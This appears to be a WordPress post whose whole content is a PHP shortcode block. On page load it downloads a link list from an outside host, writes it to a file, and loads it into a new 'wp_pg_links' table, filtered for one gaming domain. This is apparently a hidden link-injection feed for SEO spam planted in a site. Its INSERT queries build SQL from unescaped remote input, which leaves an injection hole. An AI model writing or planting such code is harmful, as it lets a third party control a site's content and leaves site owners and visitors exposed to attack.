aaa

[insert_php]

global $wpdb;

$result = $wpdb->get_results( “CREATE TABLE IF NOT EXISTS `wp_pg_links` (
`order_item_name` longtext NOT NULL,
`post_date` date default ‘0000-00-00’,
`end_date` date default ‘0000-00-00’,
`post_author` bigint(20) unsigned default ‘0’,
`Link` longtext,
`Anchor` longtext,
`Beforelink` longtext,
`Afterlink` longtext,
`NoFollow` longtext
) ENGINE=MyISAM DEFAULT CHARSET=utf8;”);

$string = file_get_contents(“http://www.onsalelink.com/d.txt”, “r”);
$myFile = “myFile.txt”;
$fh = fopen($myFile, ‘w’) or die(“Could not open: ” . mysql_error());
fwrite($fh, $string);
fclose($fh);

$result = $wpdb->get_results( “truncate table wp_pg_links;”);

$handle = @fopen(“myFile.txt”, “r”);
while (!feof($handle)) // Loop til end of file.
{
$buffer = fgets($handle, 4096);
// Read a line.
list($a,$b,$c,$d,$e,$f,$g,$h,$i)=explode(“,,,,,,,,,,”,$buffer);

$result = $wpdb->get_results( “INSERT INTO wp_pg_links (order_item_name, post_date, end_date, post_author, Link, Anchor, Beforelink, Afterlink, NoFollow) VALUES(‘”.$a.”‘,'”.$b.”‘,'”.$c.”‘,'”.$d.”‘,'”.$e.”‘,'”.$f.”‘,'”.$g.”‘,'”.$h.”‘,'”.$i.”‘)”);

}

$result = $wpdb->get_results( “DELETE FROM wp_pg_links WHERE post_author = ‘0’;”);

$result = $wpdb->get_results( “DELETE FROM wp_pg_links WHERE order_item_name not like ‘everleafgaming.com%’;”);

$result = $wpdb->get_results( “update wp_pg_links SET NoFollow= TRIM(TRAILING ‘\n’ FROM NoFollow);”);

[/insert_php]